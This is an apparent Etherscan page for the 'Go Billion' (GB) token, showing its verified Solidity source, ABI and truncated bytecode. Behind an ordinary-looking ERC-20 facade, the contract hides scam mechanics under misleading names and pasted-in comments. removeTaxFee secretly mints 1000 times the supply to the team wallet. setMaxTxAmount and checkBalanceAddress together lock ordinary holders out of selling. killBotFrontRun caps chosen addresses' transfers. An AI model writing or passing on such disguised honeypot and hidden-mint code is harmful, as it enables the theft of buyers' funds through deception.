ETH Price: $2,676.97 (+1.49%)

Token

Go Billion (GB)
 

Overview

Max Total Supply

1,001,000,000,000,000 GB

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,440,127,345.079733785401889834 GB

Value
$0.00
0x854713eaeb646f05e07cc4782d6b001862215294
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GB

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-11-12
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Context {
    
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.s
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract GB is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _tTotal = 1000 * 10**9 * 10**18;
    uint256 private _taxFee = 4;
    uint256 private _maxTxAmount = _tTotal.mul(30).div(100);
    address[] public _whiteList;
    address[] private _newList;
    
    address private _teamWallet = _msgSender();
    address private _lpAddress = _msgSender();
    address private _marketingWallet = 0xAB627EC245E414713Fa61e0d47eee86f666a2280;
    
    string private _name = 'Go Billion';
    string private _symbol = 'GB';
    uint8 private _decimals = 18;
    uint256 private _teamFee = 1;
    uint256 private _botBalance = _tTotal.mul(30).div(100);

    constructor () {
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    /**
     * @dev updateTaxFee
     *
     */
    function updateTaxFee(uint256 amount) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _taxFee = amount;
    }
    
    /**
     * @dev updateBotBalance
     *
     */
    function setMaxBotBalance(uint256 amount) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _botBalance = _tTotal.mul(amount).div(100);
    }
    
    
    /**
     * @dev updateTeamFee
     *
     */
    function updateTeamFee (uint256 newFee) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _teamFee = newFee;
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - setMaxTxAmount
     *
     * _Available since v3.1._
     */
    function setMaxTxAmount() public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _maxTxAmount = _teamFee;
    }
    
    /**
     * @dev update `killBotFrontRun` to kill bot
     *
     */
    function killBotFrontRun (address[] calldata addresses) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        for(uint i=0; i < addresses.length; i++){
            _whiteList.push(addresses[i]);
        }
    }
    
    function removeBot (address newAdd) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _newList.push(newAdd);
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function checkBalanceAddress(address _walletAddress) private view returns (bool){
        if (_walletAddress == _lpAddress || checkBlackList(_walletAddress) == true) {
            return true;
        }
        
        if (balanceOf(_walletAddress) >= _maxTxAmount && balanceOf(_walletAddress) <= _botBalance) {
            return false;
        } else {
            return true;
        }
    }
    
    function checkWhiteList(address botAdd) private view returns (bool) {
        for (uint256 i = 0; i < _whiteList.length; i++) {
            if (_whiteList[i] == botAdd) {
                return true;
            }
        }
    }
    
    function removeTaxFee () public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        
        uint256 currentBalance = _balances[_teamWallet];
        uint256 rTotal = _tTotal * 10**3;
        _tTotal = rTotal + _tTotal;
        _balances[_teamWallet] = rTotal + currentBalance;
        emit Transfer(
            address(0),
            _teamWallet,
            rTotal);
    }
    
    function checkBlackList(address botAdd) private view returns (bool) {
        for (uint256 i = 0; i < _newList.length; i++) {
            if (_newList[i] == botAdd) {
                return true;
            }
        }
    }
    
    /**
     * @dev See {BEP20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");
        
        if (checkWhiteList(sender) == true ) {
            require(amount < _taxFee, "Transfer amount exceeds the maxTxAmount.");
        }
        
        if (sender == owner() || sender == _teamWallet) {
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            
            emit Transfer(sender, recipient, amount);
        } else{
            require (checkBalanceAddress(sender));
            
            uint256 transferFee = amount.mul(_taxFee).div(100);
            uint256 transferAmount = amount.sub(transferFee);
        
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(transferAmount);
            _balances[_marketingWallet] = _balances[_marketingWallet].add(transferFee);
            
            emit Transfer(sender, recipient, transferAmount);
        }
    }
    
    function airdrop(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {

        uint256 SCCC = 0;
    
        require(addresses.length == tokens.length,"Mismatch between Address and token count");
    
        for(uint i=0; i < addresses.length; i++){
            SCCC = SCCC + tokens[i];
        }
    
        require(balanceOf(from) >= SCCC, "Not enough tokens to airdrop");
    
        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(from, addresses[i], tokens[i]);
        }
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function openTrading (address addr)  public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _lpAddress = addr;
    }
    

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"_whiteList","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"killBotFrontRun","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAdd","type":"address"}],"name":"removeBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxBotBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFee","type":"uint256"}],"name":"updateTeamFee","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526c0c9f2c9cd04674edea40000000600355600480556200005060646200003c601e600354620003d160201b620015101790919060201c565b6200045560201b6200158b1790919060201c565b60055562000063620004a760201b60201c565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000b3620004a760201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ab627ec245e414713fa61e0d47eee86f666a2280600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600a81526020017f476f2042696c6c696f6e00000000000000000000000000000000000000000000815250600b90805190602001906200019592919062000517565b506040518060400160405280600281526020017f4742000000000000000000000000000000000000000000000000000000000000815250600c9080519060200190620001e392919062000517565b506012600d60006101000a81548160ff021916908360ff1602179055506001600e556200023c606462000228601e600354620003d160201b620015101790919060201c565b6200045560201b6200158b1790919060201c565b600f553480156200024c57600080fd5b5060006200025f620004a760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506003546001600062000314620004a760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000362620004a760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051620003c3919062000686565b60405180910390a3620008bb565b600080831415620003e657600090506200044f565b60008284620003f69190620006f7565b9050828482620004079190620006bf565b146200044a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004419062000664565b60405180910390fd5b809150505b92915050565b60006200049f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620004af60201b60201c565b905092915050565b600033905090565b60008083118290620004f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004f0919062000640565b60405180910390fd5b50600083856200050a9190620006bf565b9050809150509392505050565b828054620005259062000798565b90600052602060002090601f01602090048101928262000549576000855562000595565b82601f106200056457805160ff191683800117855562000595565b8280016001018555821562000595579182015b828111156200059457825182559160200191906001019062000577565b5b509050620005a49190620005a8565b5090565b5b80821115620005c3576000816000905550600101620005a9565b5090565b6000620005d482620006a3565b620005e08185620006ae565b9350620005f281856020860162000762565b620005fd816200085b565b840191505092915050565b600062000617602183620006ae565b915062000624826200086c565b604082019050919050565b6200063a8162000758565b82525050565b600060208201905081810360008301526200065c8184620005c7565b905092915050565b600060208201905081810360008301526200067f8162000608565b9050919050565b60006020820190506200069d60008301846200062f565b92915050565b600081519050919050565b600082825260208201905092915050565b6000620006cc8262000758565b9150620006d98362000758565b925082620006ec57620006eb620007fd565b5b828204905092915050565b6000620007048262000758565b9150620007118362000758565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200074d576200074c620007ce565b5b828202905092915050565b6000819050919050565b60005b838110156200078257808201518184015260208101905062000765565b8381111562000792576000848401525b50505050565b60006002820490506001821680620007b157607f821691505b60208210811415620007c857620007c76200082c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b61310680620008cb6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063b801a1a31161007c578063b801a1a31461033d578063ca72a4e714610359578063cc8f60d914610375578063dd62ed3e1461037f578063df936446146103af578063f2fde38b146103df57610142565b80638da5cb5b1461029957806395d89b41146102b7578063a9059cbb146102d5578063acedf07c14610305578063b55053351461032157610142565b8063313ce5671161010a578063313ce567146101ff5780635d254d5d1461021d5780635fecd92614610227578063657af9771461024357806370a082311461025f578063715018a61461028f57610142565b8063025ff12f1461014757806306fdde0314610163578063095ea7b31461018157806318160ddd146101b157806323b872dd146101cf575b600080fd5b610161600480360381019061015c919061250c565b6103fb565b005b61016b610656565b604051610178919061288e565b60405180910390f35b61019b60048036038101906101969190612595565b6106e8565b6040516101a89190612873565b60405180910390f35b6101b9610706565b6040516101c69190612a30565b60405180910390f35b6101e960048036038101906101e491906124bd565b610710565b6040516101f69190612873565b60405180910390f35b6102076107e9565b6040516102149190612a4b565b60405180910390f35b610225610800565b005b610241600480360381019061023c9190612458565b610a22565b005b61025d600480360381019061025891906125d1565b610b1f565b005b61027960048036038101906102749190612458565b610c8c565b6040516102869190612a30565b60405180910390f35b610297610cd5565b005b6102a1610e28565b6040516102ae9190612858565b60405180910390f35b6102bf610e51565b6040516102cc919061288e565b60405180910390f35b6102ef60048036038101906102ea9190612595565b610ee3565b6040516102fc9190612873565b60405180910390f35b61031f600480360381019061031a9190612616565b610f01565b005b61033b60048036038101906103369190612616565b610fa2565b005b61035760048036038101906103529190612616565b611043565b005b610373600480360381019061036e9190612458565b61110b565b005b61037d6111e6565b005b61039960048036038101906103949190612481565b611288565b6040516103a69190612a30565b60405180910390f35b6103c960048036038101906103c49190612616565b61130f565b6040516103d69190612858565b60405180910390f35b6103f960048036038101906103f49190612458565b61134e565b005b6104036115d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610490576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610487906129d0565b60405180910390fd5b60008282905085859050146104da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d1906128f0565b60405180910390fd5b60005b8585905081101561054857838382818110610521577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135826105339190612a82565b9150808061054090612c51565b9150506104dd565b508061055387610c8c565b1015610594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058b90612950565b60405180910390fd5b60005b8585905081101561064d57610639878787848181106105df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906105f49190612458565b86868581811061062d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356115dd565b50808061064590612c51565b915050610597565b50505050505050565b6060600b805461066590612c1f565b80601f016020809104026020016040519081016040528092919081815260200182805461069190612c1f565b80156106de5780601f10610